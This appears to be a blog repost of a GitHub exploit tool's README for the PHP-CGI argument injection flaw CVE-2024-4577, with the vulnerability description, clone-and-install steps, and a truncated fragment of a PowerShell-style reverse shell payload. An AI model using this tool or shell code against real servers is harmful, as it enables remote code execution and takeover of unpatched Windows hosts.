Site icon API Security Blog

Exploit for OS Command Injection in Php

PHP CGI Argument Injection (CVE-2024-4577) RCE ## ๐Ÿ“œ Description In PHP versions 8.1.* before 8.1.29, 8.2.* before 8.2.20, 8.3.* before 8.3.8, when using Apache and PHP-CGI on Windows, if the system is set up to use certain code pages, Windows may use "Best-Fit" behavior to replace characters in command line given to Win32 API functions. PHP CGI module may misinterpret those characters as PHP options, which may allow a malicious user to pass options to PHP binary being run, and thus reveal the source code of scripts, run arbitrary PHP code on the server, etc. "XAMPP is vulnerable in a default configuration, and we can target the /php-cgi/php-cgi.exe endpoint. To target an explicit .php endpoint (e.g. /index.php), the server must be configured to run PHP scripts in CGI mode." ## ๐Ÿ“š Table of Contents โ€“ ๐Ÿ“œ [Description](#-description) โ€“ ๐Ÿ› ๏ธ [Installation](#-installation) โ€“ โš™๏ธ [Usage](#-usage) โ€“ ๐Ÿ’ [References](#-references) ## ๐Ÿ› ๏ธ Installation โ€œ`bash $ git clone https://github.com/l0n3m4n/CVE-2024-4577-RCE.git $ cd CVE-2024-4577-RCE && pip install -r requirements.txt โ€œ` ## โš™๏ธ Usage ![php-cge](/php-cgi.png) ## ๐Ÿค– Establishing reverse shell ### PHP Payload > [!NOTE] > This tool demonstrates realistic attack techniques (TTPs). However this specific payload sample does not function in this scenario. โ€œ`php # rev_shell.php &1 | Out-String );$sendback2 =โ€ฆRead More

Exit mobile version